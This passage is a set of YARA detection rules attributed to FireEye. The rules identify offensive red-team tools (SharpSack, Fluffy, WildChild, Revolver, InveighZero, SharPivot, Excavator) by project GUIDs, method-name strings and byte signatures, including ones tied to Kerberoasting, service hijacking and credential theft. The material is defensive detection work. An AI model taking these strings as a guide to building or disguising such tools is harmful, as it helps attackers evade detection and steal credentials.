		$pe3 = "77x90x144x" ascii wide
		$pk1 = "80;75;3;4;" ascii wide
		$pk2 = "80:75:3:4:" ascii wide
		$pk3 = "80x75x3x4x" ascii wide
	condition:
		( uint32( 0 ) == 0xe011cfd0 ) and filesize < 10MB and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSACK_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project."
		author = "FireEye"
		id = "8e344acb-73c4-5509-be9d-85cf6fe94445"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSACK/production/yara/APT_HackTool_MSIL_SHARPSACK_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "ecc3250e65e34595b4b827add3eb3062edad6a3373930048bfd6225d4a229e93"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8"
		date = "2020-12-04"
		date = "2020-12-04"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_2.yar#L4-L21"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "11b5aceb428c3e8c61ed24a8ca50553e"
		logic_hash = "872ab717668375a49d6c7b1927a680747b405c0198fe4fc6f43ccc562870eb37"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$s1 = "\x00Asktgt\x00"
		$s2 = "\x00Kerberoast\x00"
		$s3 = "\x00HarvestCommand\x00"
		$s4 = "\x00EnumerateTickets\x00"
		$s5 = "[*] Action: " wide
		$s6 = "\x00Fluffy.Commands\x00"
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}



rule FIREEYE_RT_Loader_MSIL_Wildchild_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project."
		author = "FireEye"
		id = "350dd658-46c9-573b-b532-07e4b437ba8d"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Loader_MSIL_WildChild_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "7e6bc0ed11c2532b2ae7060327457812"
		logic_hash = "e4320e33770613542182518ec787e4ccbb32f83c8afca5ec957d4846e6f4eb04"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_Dropper_HTA_Wildchild_1 : FILE
{
	meta:
		description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder."
		author = "FireEye"
		id = "f570baa5-7d58-5a0a-b713-769e62076f76"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Dropper_HTA_WildChild_1.yar#L4-L24"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "3e61ca5057633459e96897f79970a46d"
		logic_hash = "60c1d53b8a43b9b7518f3260a4d61c6806641ee894a2a331a3a0a2ea0aff9d99"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 5
	strings:
		$s1 = "processpath" ascii wide
		$s2 = "v4.0.30319" ascii wide
		$s3 = "v2.0.50727" ascii wide
		$s4 = "COMPLUS_Version" ascii wide
		$s5 = "FromBase64Transform" ascii wide
		$s6 = "MemoryStream" ascii wide
		$s7 = "entry_class" ascii wide
		$s8 = "DynamicInvoke" ascii wide
		$s9 = "Sendoff" ascii wide
		$script_header = "<script language=" ascii wide
	condition:
		$script_header at 0 and all of ( $s* )
}

rule FIREEYE_RT_APT_Hacktool_MSIL_REVOLVER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project."
		author = "FireEye"
		id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_HackTool_MSIL_REVOLVER_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "8df8a56ed55b7857adb95daa643d544a49eb5f1952b4ad3ef757c34dad2ce317"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
		$typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule FIREEYE_RT_Hacktool_MSIL_INVEIGHZERO_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project."
		author = "FireEye"
		id = "f46fe365-ea50-5597-828e-61a7225e4c6e"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/INVEIGHZERO/production/yara/HackTool_MSIL_INVEIGHZERO_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "5d10557a83dae9508469fe87f4c0c91beec4d2812856eee461a82d5dbb89aa35"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_4 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project."
		author = "FireEye"
		id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_4.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "e4efa759d425e2f26fbc29943a30f5bd"
		logic_hash = "7ef883148926d5786861e5e81b1e645aa2e3ca06bd663f2b5f32e04b5852a218"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_2 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "8d6d28ce-de3a-5a38-b654-ba1372d47568"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_2.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "e4efa759d425e2f26fbc29943a30f5bd"
		logic_hash = "14e4a29a32e8441a6f7f322e09cd9bb9822ae47eaa1fdf8e09c90998b03658f5"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$s1 = "costura"
		$s2 = "cmd_schtask" wide
		$s3 = "cmd_wmi" wide
		$s4 = "cmd_rpc" wide
		$s5 = "GoogleUpdateTaskMachineUA" wide
		$s6 = "servicehijack" wide
		$s7 = "poisonhandler" wide
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_3 : FILE
{
	meta:
		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
		author = "FireEye"
		id = "616333fc-4075-5f04-823a-1164717a2b87"
		date = "2020-12-08"
		modified = "2020-12-10"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_3.yar#L4-L31"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "e4efa759d425e2f26fbc29943a30f5bd"
		logic_hash = "ecf13e47e409efd68b508735a84be6a1627f5b0c0cea6b90434fc9ba5b1d8cf5"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$msil = "_CorExeMain" ascii wide
		$str1 = "SharPivot" ascii wide
		$str2 = "ParseArgs" ascii wide
		$str3 = "GenRandomString" ascii wide
		$str4 = "ScheduledTaskExists" ascii wide
		$str5 = "ServiceExists" ascii wide
		$str6 = "lpPassword" ascii wide
		$str7 = "execute" ascii wide
		$str8 = "WinRM" ascii wide
		$str9 = "SchtaskMod" ascii wide
		$str10 = "PoisonHandler" ascii wide
		$str11 = "SCShell" ascii wide
		$str12 = "SchtaskMod" ascii wide
		$str13 = "ServiceHijack" ascii wide
		$str14 = "commandArg" ascii wide
		$str15 = "payloadPath" ascii wide
		$str16 = "Schtask" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* )
}

rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "c2834bd6-efb0-5dac-adcd-a9450090fc28"
		date = "2020-11-25"
		date = "2020-11-25"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_1.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "e4efa759d425e2f26fbc29943a30f5bd"
		logic_hash = "1c71b9641e30c9764f3503e49f8f85472d7e62384c8dd2b420c4fa2b2fccda4f"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A }
		$s3 = "cmd_rpc" wide
		$s4 = "costura"
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_1 : FILE
{
	meta:
		description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE."
		author = "FireEye"
		id = "7cabc230-e55b-5096-996a-b6a8c9693bdc"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_1.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "f7d9961463b5110a3d70ee2e97842ed3"
		logic_hash = "bf4b776f34a1a9aa5438504f63a63ef452a747363de3b70cec52145d777055bd"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
		$bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
		$bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
		$bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 